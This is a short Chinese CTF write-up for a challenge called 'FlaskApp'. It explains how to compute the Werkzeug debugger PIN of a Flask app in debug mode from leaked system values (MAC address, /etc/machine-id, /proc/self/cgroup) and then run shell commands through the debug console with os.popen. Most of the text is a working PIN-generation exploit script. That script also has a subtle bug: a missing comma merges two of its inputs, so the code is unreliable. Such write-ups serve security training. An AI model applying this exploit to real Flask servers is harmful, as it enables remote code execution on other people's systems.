[TOC]

Flask的debug模式下的pin码利用

题目链接：FlaskApp

flask在开启debug模式下，可以通过输入pin码进行代码调试模式，也就是console控制台。进入控制台之后再进行命令执行。

• username：用户名
• modname：默认值为flask.app
• appname：默认值为Flask
• moddir：flask库下app.py的绝对路径
• uuidnode：当前网络的mac地址的十进制数。读取/sys/class/net/eth0/address得到十六进制数，转十进制即可。
• machine_id：机器id。Linux环境下一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id文件，docker靶机则是/proc/self/cgroup。

生成pin值的脚本

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb'  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '28992066395378',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    '1408f836b0ca514d796cbf8960e45fa1'  # get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

然后使用os库的popen函数

import os
os.popen('ls /').read()